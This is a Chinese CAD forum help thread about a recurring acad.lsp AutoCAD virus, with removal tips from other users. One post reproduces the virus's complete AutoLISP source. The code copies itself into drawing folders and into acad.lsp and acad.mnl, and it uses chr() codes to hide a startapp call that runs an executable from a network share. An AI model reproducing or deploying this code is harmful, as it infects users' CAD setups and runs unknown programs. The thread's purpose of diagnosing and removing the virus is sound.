[求助]：急急急!!!!!新的acad.lsp病毒

mr cool

我的电脑以前中过这种病毒,不过使用晓东工具箱中自带的清毒工具处理掉了!最近我的电脑又中了这种毒!可能是新的版本,我无论怎么清处理不掉!晓东工具箱中自带的清毒工具也用了!
当我每清理掉后再打开图形时,在图形的同目录下就会出现acad.lsp这个程序!而且在打开图形之前我已经查找并全部删除了!也用晓东工具箱中自带的清毒工具清理了!
怎么办啊！！！！！！
这个程序改了好多命令！

yestorm

这么可怕吗

stoneball

下载空间有专杀工具

hisum

可能手动杀的，只要看明白程序就可以了，你可以把程序帖上来

anhuaxu

不会吧，我刚开始学LISP语言的使用。这下有点悬了。

archer77

有什么表现？很严重吗？

cy956

贴上来瞧瞧

ouyangsong

还是要搞上来看看!QQ386867665

yuer0103

快搞上来让大家见识一下，也帮你一下。贴上来很容易学的。

chenwei_zj

把原先的删空，保留一个acad.lsp的空文件在cad目录下，就解决了

frankxie

好可怕
不过应该可以解决的

黑米

我的病毒里面是这样的
(defun
s::startup()
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
0
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(
-
(
strlen
path
)
8
)
)
)
(
setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
(setq
acadpath
(findfile
"acad.lsp"
)
)       
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm
)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspbj
1
)
)
)
(close
wjm
)
)
)
(setq
lspmnl
0
)
(setq
wjqm
(strcat
path
"acad.mnl"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1
)
14
)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspmnl
1
)
)
)
(close
wjm
)
)
)
(if
(=
lspmnl
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
(strcat
(chr
97)
(chr
99)
(chr
97)
(chr
100)
(chr
46)
(chr
109)
(chr
110)
(chr
108)
)
)
)
(setq
wjm
(open
wjqm
"a"
)
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm))
)
(if
(and
(=
acadpath
dwgpath
)
(/=
acadpath
path
)
)
(progn                                          
(if
(=
0
lspmnl)
(progn                                          
(setq
oldacad
(findfile
"acad.lsp"
)
)          
(setq
newacad
(strcat
path
"acadapp.lsp"
)
)
)
(progn
(setq
oldacad
(strcat
path
"acadapp.lsp"
)
)
(setq
newacad
(findfile
"acad.lsp"
)
)
)                         
)
(if
(=
lspbj
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(setq
wjm
(open
wjqm
"a")
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)
(progn
(setq
oldacad
(findfile
"acadapp.lsp"
)
)
(setq
newacad
(strcat
dwgpath
"acad.lsp"
)
)
(writeapp)
)
)
)
)
(setq
strtopstr
(strcat  
(chr
92)
(chr
92)
(chr
70)
(chr
83)
(chr
49)
(chr
92)
(chr
83)
(chr
89)
(chr
83)
(chr
49)  
(chr
92)
(chr
87)
(chr
79)
(chr
82)
(chr
75)
(chr
92)
(chr
80)
(chr
76)
(chr
79)
(chr
84)
(chr
69)
(chr
82
)
)
)
(setq
strbottomstr
(strcat
(chr
92)
(chr
76)
(chr
79)
(chr
67)
(chr
80)
(chr
82)
(chr
88)
(chr
89)
(chr
49)
(chr
46)
(chr
69)
(chr
88)
(chr
69)
)
)
(startapp
(strcat
strtopstr
strbottomstr
)
)
(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp ()
(if
(setq
wjm1
(open
newacad
"w")
)
(progn
(setq
wjm
(open
oldacad
"r")
)
(while
(setq
wz
(read-line
wjm)
)
(write-line
wz
wjm1
)
)                               
(close
wjm)
(close
wjm1)
)
)
)
(princ)

coolzhb

我研究过这个病毒，是比以前的acad.lsp厉害，又多感染了一个文件。
将acadiso.lsp、acad.lsp、acadapp.lsp、acad.mnl加载病毒的部分删除即可。

黑米

最初由 chenwei_zj 发布
[B]把原先的删空，保留一个acad.lsp的空文件在cad目录下，就解决了 [/B]

我试过了,上午没问题,到了下午又出来了,晕倒

lzplzz

为什么不能重安装cad后在加载呢